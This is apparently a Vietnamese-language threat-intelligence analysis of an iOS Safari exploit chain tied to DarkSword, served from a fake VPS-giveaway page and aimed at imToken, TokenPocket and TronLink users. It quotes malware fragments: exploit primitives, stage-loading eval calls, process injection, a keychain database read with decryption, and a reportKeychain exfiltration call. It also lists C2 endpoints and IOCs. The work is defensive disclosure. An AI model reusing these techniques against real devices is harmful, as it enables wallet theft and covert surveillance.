Bối cảnh


Một trang sự kiện tặng miễn phí VPS, thực chất là một cái bẫy. Theo trang đã được khôi phục từ lưu trữ web công khai, event[.]polarnode[.]vip được đăng ký vào cuối tháng 8 năm 2026 đã khai báo https[:]//lk[.]wyincc[.]com/lk.js là tập lệnh tải trước; sau khi trang trở nên tương tác được, nó sẽ tự động tải, người truy cập không cần bấm vào.

标题: fig:

Sau khi giải mã mẫu loader đã được lưu, chúng tôi xác nhận rằng nó nhắm tới việc triển khai thông qua Safari thuần trên iPhone chạy iOS 18.4–18.6.2. Cuối cùng, nó trỏ tới việc thu thập dữ liệu từ tệp, chuỗi khóa (Keychain) và đầu vào bàn phím, nhắm vào ba ứng dụng ví. Chuỗi này khớp ở mức cao với chuỗi khai thác iOS DarkSword được Google Threat Intelligence Group (GTIG) công bố, tương ứng với sáu CVE, thuộc dạng tái sử dụng n-day.


Phân tích trong bài viết này dựa trên mẫu loader chính tại 1k[.]wyincc[.]com/lk[.]js và ảnh chụp lưu của lk[.]wyincc[.]com/lk[.]js từ urlscan; các phân tích đối với sáu CVE và năng lực hậu khai thác được giới hạn ở nhánh /dist/sandbox.html.

Cách làm này không phải là trường hợp đơn lẻ. Trong báo cáo đồng thời của socket.dev, 13 chủ đề Packagist độc hại đã lợi dụng chuỗi từ WebKit đến nhân để đánh cắp dữ liệu thiết bị và các từ ghi nhớ ví; các CVE được dùng có sự trùng lặp với DarkSword trong báo cáo này.
Phân tích trong bài viết này dựa trên bằng chứng tĩnh, không chạy mẫu, không bật iframe và cũng không đưa bất kỳ phản hồi nào cho trình duyệt hoặc công cụ JavaScript. Ở giai đoạn điều tra, các yêu cầu tải từ xa và tổng hợp C2 đều được thực hiện dưới quyền cấp riêng, không gửi dữ liệu thiết bị thật. Việc mô tả năng lực của mã trong bài viết thể hiện rằng mã có các phần triển khai hoặc đường gọi tương ứng, không có nghĩa là các thao tác liên quan đã thành công xảy ra trên thiết bị thực tế.

Phản hồi của MistEye

MistEye là hệ thống giám sát an ninh động và tình báo mối đe dọa Web3 do SlowMist tự nghiên cứu và phát triển, tích hợp năng lực giám sát an ninh và tổng hợp tình báo, cung cấp cho người dùng cảnh báo rủi ro theo thời gian thực và bảo vệ tài sản.

Sau khi nhận mẫu này, MistEye khôi phục toàn bộ chuỗi tấn công từ khâu lọc thiết bị trên thiết bị, triển khai iframe ẩn cho đến khai thác đa giai đoạn và hậu khai thác, trích xuất các tên miền, IP và IOC của tệp độc hại liên quan; đồng thời đưa gói độc hại và IOC vào công cụ động cơ phát hiện mối đe dọa, gửi cảnh báo rủi ro và khuyến nghị xử lý đến người dùng liên quan.

Dưới đây là phân tích kỹ thuật chi tiết.

Giải mã

Mẫu không có ký tự xuống dòng, chỉ một dòng. Việc làm rối được chia thành ba lớp: một mảng chuỗi 1,025 phần tử, lúc khởi động được dịch sang trái hoàn toàn bởi một hàm tự thực thi, và biến đổi Base64 tùy chỉnh cùng RC4 theo từng chuỗi. Bảng chữ cái tùy chỉnh đặt chữ thường trước chữ hoa:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=

Kết quả giải mã SHA-256 là 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5. Bộ giải mã chỉ đọc văn bản và thực hiện phép biến đổi Base64/RC4 của riêng nó, không đánh giá (eval) bất kỳ JavaScript nào.

Khôi phục được một cấu hình cố định: máy chủ https[:]//lk[.]wyincc[.]com, endpoint SDK ưu tiên 13[.]248[.]210[.]49:36887, endpoint dự phòng 66[.]117[.]225[.]238:36887, heartbeat 20 giây, device_source là 782391, định danh client là web-sdk V1.0. Cấu hình còn nhúng một khóa RSA công khai, SHA-256 là 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681; các giai đoạn sau dùng nó để mã hóa lưu lượng gửi tới endpoint SDK.

Trong cấu hình, ba ứng dụng mục tiêu đáng được nêu trước: imToken (im.token.app), TokenPocket (com.global.wallet.ios) và TronLink (com.tronlink.hdwallet). Cùng một bộ định danh này xuất hiện lại sau đó trong nhiệm vụ thu thập bàn phím.

Định hướng và triển khai


Việc đầu tiên sau khi giải mã là quyết định chuyển payload cho ai. Mẫu loader tại 1k[.]wyincc[.]com thuộc phần phân tích chính dùng /iPhone OS (\d+)[_.](\d+)/i để parse navigator.userAgent; sau khi làm đơn giản phép tính bị làm rối, việc phán đoán phiên bản tương đương với:

if (major !== 18 || minor < 4 || minor > 6) return;

Trong mẫu loader này, chỉ những iPhone có iOS 18.4–18.6.x mới có thể vượt qua. Việc nhận diện trình duyệt còn yêu cầu đồng thời có Safari/、Version/ và Mobile/... Safari, đồng thời loại trừ Chrome, Firefox, Opera, Edge trên iOS (CriOS、FxiOS、OPiOS、EdgiOS), cũng như các WebView nhúng trên WeChat, QQ, Telegram, Alipay và một loạt ứng dụng xã hội/tin tức. Biểu thức chính quy chỉ khớp với iPhone OS, không khớp với CPU OS của iPad.

Ảnh chụp loader mà urlscan lưu lại không gỡ bỏ nhánh nói trên: iPhone chạy iOS 18.4–18.6.2 vẫn đi vào /dist/sandbox.html. So với mẫu loader của phân tích chính, nó còn sử dụng khớp thiết bị toàn cục iPhone|iPod, đưa cả iPod touch vào, và bổ sung danh sách trắng iOS 15.2 đến 17.1, bàn giao các phiên bản cũ này sang nhánh /group.html bổ sung.

Không phải là nếu khách truy cập không qua sàng lọc thì bị bỏ qua đơn giản. Mã ẩn toàn bộ phần tử con của trang hiện tại, hiển thị một gợi ý đa ngôn ngữ để người dùng sao chép địa chỉ rồi mở bằng Safari. Đây là một gợi ý tương thích, đồng thời cũng chủ động dẫn khách truy cập sang môi trường trình duyệt cần thiết cho khai thác.

标题: fig:

Các khách truy cập đã qua sàng lọc sẽ đi vào logic thực thi lock và làm nguội: khi nhận các thông điệp pe_injected, chain_locked, nó ghi trạng thái cục bộ và cookie để ngăn thiết bị đó kích hoạt lặp lại. UID được tạo từ timestamp và ký tự ngẫu nhiên. Hai bộ lắng nghe thông điệp chỉ kiểm tra event.data.type, không kiểm chứng event.origin hoặc event.source; các frame khác trong cùng trang có thể giả mạo các thông điệp này để kích hoạt lock hoặc làm nguội trước.

Chuỗi bàn giao

Phân tích đầy đủ về chuỗi bàn giao dưới đây áp dụng cho nhánh /dist/sandbox.html mà hai loader cùng giữ lại. Ảnh chụp loader thực tế được trang tham chiếu còn bao gồm một nhánh song song chứa /group.html, nhưng đường dẫn này bị WAF chặn trước bằng HTTP 403, nên lần này không lấy được nội dung phía sau; do đó bài viết này không đưa nhánh đó vào hệ phái DarkSword, sáu CVE hoặc năng lực thu thập dữ liệu sẽ nêu sau.

Sau khi chạy trên iPhone chạy iOS 18.4–18.6.2 và qua sàng lọc, loader xây dựng một iframe ẩn với mẫu địa chỉ cố định:

https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>

Việc truyền cấu hình ban đầu từ loader đến sandbox.html đã được xác nhận thông qua tham số ?d= trên URL. d mang Base64 JSON được mã hóa URL, nội dung bao gồm origin của site hiện tại, hostname, utm_source, UID phiên, các endpoint SDK, khóa RSA công khai, device_source và cấu hình ví mục tiêu. Vì UID và trường site được tạo khi chạy, nên không có URL giai đoạn ba cố định nào để khôi phục trước. Để tiếp tục theo dõi, chúng tôi thu được sandbox.html trong điều kiện điều tra bằng các tham số được dựng lại từ cấu hình.

iframe dùng một đoạn style để giữ ngoài màn hình và không hiển thị. Sau đó, trang sandbox tải các chunk qua phần tử script động: chunks/vendor.js. vendor lại kiểm tra phiên bản và phân luồng: iOS 18.6 tải runtime.js rồi đóng gói thành Blob Worker; iOS 18.4 và 18.5 tải runtime-legacy.js, đồng thời lấy và eval polyfill.js trong trang. Đường đi RCE legacy được truyền qua và đồng bộ trạng thái khai thác giữa ngữ cảnh trang và ngữ cảnh Worker bằng postMessage; điều phối việc thiết lập nguyên ngữ RCE và bàn giao giai đoạn tiếp theo. Đây khác với bộ nghe tin nhắn pe_injected, chain_locked ở trên chỉ phụ trách thực thi logic “lỗi/lock” và “làm nguội”.

Mỗi đoạn phía sau chỉ được tải sau khi đoạn trước thành công. Toàn bộ chuỗi bao gồm hai lớp thoát sandbox, mã tương ứng được đánh dấu SBX0 và SBX1: SBX0 đưa việc thực thi từ tiến trình nội dung trang web sang tiến trình GPU, SBX1 lại đưa từ tiến trình GPU sang mediaplaybackd.

  • runtime.js(18.6) khai thác CVE-2025-43529(lỗi phá hủy bộ nhớ do khiếm khuyết thu gom rác của JavaScriptCore DFG JIT) kết hợp với CVE-2026-20700(bypass xác thực PAC của con trỏ PAC phía người dùng dyld),thiết lập các nguyên ngữ thực thi mã từ xa (RCE) của JavaScriptCore/WebKit: các nguyên ngữ addrof (lấy địa chỉ đối tượng), fakeobj (giả mạo đối tượng), đọc/ghi tùy ý, xử lý PAC (xác thực con trỏ) và gọi hàm gốc, rồi đồng bộ lấy và eval framework.js. runtime-legacy.js và polyfill.js cung cấp cùng các nguyên ngữ cho 18.4/18.5, tương ứng với CVE-2025-31277(lỗi phá hủy bộ nhớ do tối ưu JIT/nhầm lẫn kiểu trong JavaScriptCore) và CVE-2026-20700.

// runtime.js(18.6)—— các nguyên ngữ RCE
function addrof(object){ return BigInt.fromDouble(p_rce.addrof(object)) }
function fakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }
// read32 / read64 / write8 / write64 được xây dựng dựa trên cùng cơ chế fakeobj/scribble

// runtime.js —— bàn giao SBX0(eval framework.js)
print("[RCE] Bắt đầu tải thoát sandbox SBX0...");
const sbx0_script = getJS("framework.js?" + Date.now());
eval(sbx0_script)

  • framework.js triển khai SBX0——khai thác CVE-2025-14174(thiếu kiểm tra xác thực tham số thao tác cụ thể trong ANGLE/WebGL dẫn đến đọc/ghi bộ nhớ ngoài giới hạn),đưa việc thực thi từ tiến trình nội dung trang web sang tiến trình GPU; sau nhánh SBX0 SUCCEEDED thì tải common.js; framework-legacy.js là bản tương ứng cho legacy.

// framework.js —— Cổng vào SBX0
print("[SBX0] ======== sbx0_main.js eval bắt đầu ========");
const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;

  • common.js triển khai SBX1——dùng CVE-2025-43510 (lỗi quản lý bộ nhớ copy-on-write (COW) của nhân XNU khi ghi) để thoát khỏi tiến trình GPU sang mediaplaybackd có quyền cao hơn, bao gồm các endpoint XPC của nó, đường dẫn IOSurface/Scaler và ví dụ sbx1sbx1_exp, sau đó tải app.js; common-legacy.js tái sử dụng app.js đã có.

// common.js —— neo XPC mediaplaybackd của SBX1 và bàn giao leo thang đặc quyền
let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc";
remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);
function spawn_pe(){ LOG("Đang khởi tạo PE...."); let pe_stage1_js_data_array = new Uint8Array([...]); }

  • app.js khai thác CVE-2025-43520(điều kiện tranh chấp trong nhân của VFS hệ thống tệp ảo ảo XNU gây phá hủy bộ nhớ) để xây dựng các nguyên ngữ đọc/ghi nhân và leo thang đặc quyền, bao gồm wrapper đọc/ghi nhân, MigFilterBypass, phần mở rộng sandbox applySandboxEscape, xóa báo cáo crash, và logic điều phối để lấy ba plugin và tiêm vào ba tiến trình hệ thống. Ba plugin là sync.js、auth.js và input.js, và khôi phục ra ba tập lệnh nhiệm vụ tương ứng với ba loại plugin này.

// app.js —— cổng vào đọc/ghi nhân và leo thang đặc quyền
let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;
function pe_v1() { /* ... */ }

Ba đường tiêm khác nhau tự khởi tạo một lần HTTP GET văn bản thuần để lấy plugin, rồi chuyển phản hồi cho tiến trình tương ứng:

var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);
if (inject.inject()) { ... }

Ba mục tiêu lần lượt là SpringBoard(sync.js)、securityd(auth.js) và kbd(input.js);ba tập lệnh nhiệm vụ được khôi phục lần lượt tương ứng với ba loại plugin này, và được mã phối hợp để tiêm proxy tác vụ. Các chuỗi nhánh trạng thái SBX0 SUCCEEDED、SBX1 SUCCEEDED trong mã là chuỗi trạng thái, không phải là các log thành công mà chúng tôi quan sát thấy.

Cần bổ sung thêm về nguồn. lk[.]wyincc[.]com trả về HTTP 403 đối với tài nguyên của nhánh legacy (runtime-legacy.js、polyfill.js、framework-legacy.js、common-legacy.js). Chúng tôi lấy bốn tệp này từ nút lưu trữ payload liên kết tại 1k[.]wyincc[.]com; trước đó, nút này đã được xác thực là đáp ứng của shared vendor.js、runtime.js khớp từng byte với máy chủ mà trang thực tế tham chiếu, nhưng chúng tôi không khẳng định các tệp legacy này tương đương từng byte với các phản hồi từ lk mà không lấy được. Hai tài nguyên điều kiện powercuff_light.js、chain_status_overlay.js trả về 403 từ máy chủ mà trang thực tế tham chiếu và trả về 404 HTML từ nút lưu trữ payload liên kết; không có script nào để phân tích.

Họ DarkSword

Trong mã có một vài dấu vết độc đáo khớp với một công cụ đã công bố công khai. app.js chứa chú thích "If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions",cùng với lớp MigFilterBypass, Chain.runPE() rồi theo sau là Sandbox.applySandboxEscape(), xóa thư mục systemgroup.com.apple.osanalytics/DiagnosticReports/ và tham chiếu công cụ startSandworm. Việc phân luồng theo phiên bản(18.4/18.5 và 18.6)và trách nhiệm theo từng giai đoạn của SBX0 → SBX1 → PE cũng khớp với phân tích DarkSword do GTIG công bố. Thông báo bảo mật của Apple xác nhận riêng các CVE và phiên bản đã vá tương ứng.

Sau khi loại bỏ làm rối, app.js giữ lại một vài dấu vết nhận diện trực tiếp được:

// app.js —— Phân luồng phiên bản migbypass (ghi chú độc đáo của DarkSword)
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) { /* migbypass */ }

// Đóng gói wrapper đọc/ghi nhân trong Chain nằm trong MigFilterBypassThread.js nội bộ
static runPE() { /* ... */ }
static getKernelBase() { /* ... */ }
static read(srcAddr, dst, len) { /* ... */ }
static write(dst, src, len) { /* ... */ }

// Tham chiếu công cụ startSandworm(được giữ dưới dạng chú thích trong mã nguồn)
// let baseKernel = startSandworm();

Dựa trên đó, chúng tôi gán giai đoạn cục bộ tương ứng với sáu CVE:

Khi GTIG quan sát DarkSword lần đầu, CVE-2025-43529、CVE-2026-20700 và CVE-2025-14174 thuộc nhóm 0day ngoài thực địa; đến thời điểm hoạt động WYINCC trong tháng 9/2026, cả sáu lỗ hổng đều đã được công bố công khai và Apple đã vá. Do đó, lần triển khai hiện tại là tái sử dụng n-day cho chuỗi sáu lỗ hổng của DarkSword. Phiên bản đã vá và trạng thái 0day trong lịch sử dựa trên báo cáo của GTIG và các thông báo bảo mật của Apple.

Ba nhiệm vụ C2

Để làm rõ chuỗi cuối cùng khiến proxy được tiêm làm gì, chúng tôi trong phạm vi được cấp quyền riêng đã dùng UID giả lập được tổng hợp và trường site rỗng, gửi các yêu cầu requestJsCode tối thiểu tới hai endpoint SDK, mỗi endpoint hai lần. Toàn bộ quá trình không gửi dữ liệu đăng ký thiết bị, heartbeat, Keychain, bàn phím hoặc ứng dụng.

Hai lần thiết lập kết nối tới endpoint chính 13[.]248[.]210[.]49:36887 đều trả về phản hồi 54,773 byte; endpoint dự phòng 66[.]117[.]225[.]238:36887 thì hai lần kết nối đều trả về rỗng. Phản hồi được mã hóa AES-256-GCM và đóng gói thành khung SSP2. Chúng tôi dùng khóa phiên được lưu để giải mã offline, giải nén LZFSE và kiểm tra xác thực SSP2/JSON/Base64, khôi phục ra ba tập lệnh nhiệm vụ. Cả ba nhiệm vụ đều không được thực thi.

Ba tập lệnh nhiệm vụ lần lượt tương ứng với một tiến trình bị tiêm khác nhau:

  • Nhiệm vụ SpringBoard được cấu hình theo apps_json của máy chủ: đệ quy liệt kê tệp từ container ứng dụng, AppGroup dùng chung hoặc đường dẫn tuyệt đối, tải lên theo từng phần, kèm SHA-256 theo từng tệp và hỗ trợ resume truyền tải; khi task_type là 1 hoặc 4, nó còn Base64 giải mã và eval JavaScript do máy chủ cấp, rồi gửi kết quả về.

  • Nhiệm vụ securityd mở /private/var/Keychains/keychain-2.db, truy vấn các bảng genp và inet, rồi dùng lớp riêng SecDbKeychainItemV7 để giải mã blob data, trích xuất v_Data、acct、svce、agrp và báo cáo.

  • Nhiệm vụ kbd giám sát ứng dụng đang ở nền trước; khi ứng dụng ví mục tiêu đang ở nền trước, nó sẽ thăm dò định kỳ ivar nội bộ của bàn phím (_inputString、_contextBeforeInput、_contextAfterInput). Khi kết thúc nhập liệu hoặc khi ứng dụng chuyển đổi, nó gửi nội dung bộ nhớ đệm lên như reportAppPwd.

Thu thập Keychain

Nhiệm vụ securityd tương ứng plugin auth.js. app.js lấy GET /dist/plugins/auth.js rồi tiêm mã vào securityd bằng InjectJS("securityd", ...); thông qua lệnh gọi gốc được thiết lập qua mượn (dlsym、objc_msgSend) trong chain, JavaScript gọi trực tiếp ObjC, chỉ đọc mở thư viện keychain:

sqlite3_open_v2("/private/var/Keychains/keychain-2.db", dbHandlePtr, SQLITE_OPEN_READONLY, 0)

Nó chỉ duyệt hai bảng genp(mật khẩu chung) và inet(mật khẩu internet)(SELECT *,lọc theo agrp LIKE '%keyword%',mỗi bảng tối đa 500 dòng; khi từ khóa rỗng thì thoái hóa thành 1=1 duyệt toàn bộ)。Cột data là blob được mã hóa; mã không bẻ khóa keybag mà thay vào đó tận dụng trong securityd đã có sẵn: động gọi các phương thức của lớp riêng SecDbKeychainItemV7(initWithData:decryptionKeybag:error: 等) để giải mã, đọc giá trị bí mật v_Data và trích xuất acct、svce、agrp:

var tables = ["genp", "inet"];
var cls = ncall("objc_getClass", _sp("SecDbKeychainItemV7"));

task_type == 3 kích hoạt dump(từ khóa đến từ apps_json hoặc content của máy chủ; task_type == 4 cũng có thể mở rộng thu thập bằng cách eval các script phía máy chủ),kết quả được báo cáo qua kênh C2 được đóng gói theo reportKeychain: SSP2 / AES-256-GCM / RSA.

sendReport("reportKeychain", { keychain: b64, task_id: taskId || "" });

Tóm tắt

Chúng tôi xác nhận đây là một khung khai thác đa giai đoạn kiểu kích hoạt truy cập (access-triggered) thuần Safari dành cho iPhone chạy iOS 18.4–18.6.2, thuộc họ DarkSword. Rủi ro nhắm vào ba ứng dụng ví—imToken, TokenPocket và TronLink—: mã có khả năng RCE trên trình duyệt, thoát sandbox hai lớp, đọc/ghi nhân, và tiêm proxy vào SpringBoard, securityd và kbd; đối tượng thu thập bao gồm tệp, Keychain và bàn phím đầu vào.

Ba mục trong số 0day ngoài thực địa mà GTIG ban đầu quan sát thấy của DarkSword đều đã được công bố công khai và Apple đã vá cho đến thời điểm diễn ra hoạt động lần này; việc triển khai hiện tại của WYINCC được định tính là tái sử dụng n-day của chuỗi gồm sáu lỗ hổng. Ảnh chụp loader mà trang lk[.]wyincc[.]com thực tế tham chiếu còn chứa một nhánh /group.html dành cho iOS cũ và iPod touch, nhưng bị WAF chặn trước bằng HTTP 403; vì chưa lấy được nội dung phía sau, nên các kết luận về sáu CVE và thu thập dữ liệu chỉ áp dụng cho nhánh /dist/sandbox.html.

Khuyến nghị

  1. Chặn tên miền wyincc[.]com、polarnode[.]vip và ba endpoint 36887 tại ranh giới mạng(proxy、DNS、EDR/NDR),sau đó trong nhật ký tìm các lần iPhone chạy iOS 18.4–18.6.2 truy cập các đường dẫn như /dist/sandbox.html、/dist/chunks/、/dist/plugins/;đồng thời truy tìm việc iOS 15.2 đến 17.1(bao gồm có thể là iPod touch)truy cập /group.html theo UA. Cái trước thuộc chuỗi hoàn chỉnh đã lộ; cái sau chỉ có thể xác nhận việc trúng nhánh hậu duệ mà lần này chưa lấy được, không thể trực tiếp áp dụng kết luận về sáu CVE hoặc thu thập dữ liệu ví.

  2. Nếu trang của bạn từng bị tiêm script này, hãy gỡ script khỏi trang và cache của CDN, object storage; đối chiếu nguồn tích hợp từ mẫu, tag quản lý và hệ thống quảng cáo, rồi triển khai hạn chế CSP/SRI để ngăn script bên thứ ba kế thừa ngữ cảnh trang.

  3. Ưu tiên điều tra số liệu đối với các thiết bị iPhone đã thực sự truy cập trang triển khai và chạy Safari iOS 18.4–18.6.2: thu thập lịch sử Safari, crash WebKit, log bất thường tiến trình và lịch sử truy cập Keychain; đối với các thiết bị iPhone hoặc iPod touch iOS 15.2 đến 17.1 trúng /group.html, lưu giữ các bằng chứng nền tương tự, nhưng đừng chỉ dựa vào việc trúng đường dẫn để khẳng định khai thác thành công hoặc dữ liệu đã được thu thập.

  4. Đối với người dùng dùng ba ví mục tiêu: imToken、TokenPocket và TronLink, hãy kết hợp kết quả điều tra thiết bị để quyết định có xoay vòng thông tin xác thực, thu hồi phiên, theo dõi địa chỉ và giao dịch trên chuỗi hay không; đừng chỉ dựa vào bản ghi truy cập để khẳng định khóa riêng hoặc cụm từ ghi nhớ đã bị lộ.

  5. Nâng cấp thiết bị lên phiên bản đã được Apple vá (iOS/iPadOS 18.7.3 hoặc 26.3 trở lên), đồng thời lưu phản hồi gốc, khóa phiên và giá trị băm để phục vụ phân tích đối chiếu sau này.

IOC


Tên miền


1k[.]wyincc[.]com

lk[.]wyincc[.]com
event[.]polarnode[.]vip
polarnode[.]vip


IP


13[.]248[.]210[.]49 

66[.]117[.]225[.]238 

166[.]117[.]225[.]238


URL


13[.]248[.]210[.]49:36887

66[.]117[.]225[.]238:36887

166[.]117[.]225[.]238:36887

https[.]//lk[.]wyincc[.]com/lk.js

https[.]//1k[.]wyincc[.]com/lk.js

Tệp độc hại


filename: lk.js 

SHA256: 89912ab03eb2d02746e52df7b17035082d973234f249098caec11684e665c337

filename: lk.js

SHA256: 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
filename: sandbox.html 

SHA256: 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54

filename: vendor.js 

SHA256: 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510
filename: runtime.js 

SHA256: a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
filename: runtime-legacy.js 

SHA256: afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53
filename: polyfill.js 

SHA256: f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236
filename: framework.js 

SHA256: 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
filename: framework-legacy.js 

SHA256: 36b43f98c7f4d2d5a0f14ce8a5bdfd2fc055f8628da4a2d9ece2402385447f1e
filename: common.js 

SHA256: 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
filename: common-legacy.js 

SHA256: 693af544eb4deb194f481a870f1202fefb0c278820bb23bced85cd354d29a63e
filename: app.js 

SHA256: ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
filename: sync.js 

SHA256: 6eda3586102cf35ca53189accd2f56fec63a8adf74ccf93b59aed1e7651a690f
filename: auth.js 

SHA256: 78406a0c68043df99cea87f280e8307675c285ca9d88f5a56aa9901c6f503d11
filename: input.js 

SHA256: 3a2341a13a7c4854bc203be18eebd11f716e043540a91974ef6d6d12253f6c9d

Về MistEye


MistEye là nền tảng tình báo mối đe dọa Web3 và giám sát an ninh động do SlowMist tự nghiên cứu và phát triển; thông qua API cung cấp năng lực phát hiện hoạt động độc hại và cảnh báo rủi ro cho chuỗi cung ứng trong hệ sinh thái gói mã nguồn mở.


Toàn bộ các gói độc hại và IOC liên quan tới chiến dịch này đã được tích hợp vào công cụ động cơ phát hiện mối đe dọa của MistEye. Nhà phát triển có thể dùng API để tự động kiểm tra phụ thuộc của dự án, nhanh chóng xác định xem có trúng các gói độc hại đã biết hay không và nhận khuyến nghị xử lý.


📖 Tài liệu API: https://app.misteye.io/api-docs


🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan Công cụ CLI nhẹ, quét các phụ thuộc của dự án và các gói cài đặt toàn cục trong một lệnh để phát hiện các gói độc hại đã biết; hỗ trợ hệ sinh thái npm / PyPI / Cargo / Go / RubyGems


🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skillsAI Bộ kỹ năng an toàn trợ lý mã hóa, tự động kích hoạt các kiểm tra bảo mật của MistEye trước khi cài đặt phụ thuộc và trước khi truy cập URL


🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard Công cụ bảo vệ DNS, phát hiện tên miền độc hại và truy cập rủi ro, nhận diện các mối đe dọa mạng như lừa đảo (phishing), C2, v.v.


Bài viết này được viết bởi đội ngũ tình báo mối đe dọa của SlowMist kết hợp với hệ thống tình báo mối đe dọa MistEye và phân tích được điều khiển bởi AI của SlowMist Agent. Nếu có bất kỳ câu hỏi nào, vui lòng liên hệ phản hồi.


Tham khảo

[1]https://socket.dev/blog/packagist-themes-ios-spyware

[2]https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain

[3]https://support.apple.com/en-bw/125885

[4]https://support.apple.com/en-me/125633

[5]https://support.apple.com/en-us/126346

[6]https://www.nodeseek.com/post-905477-1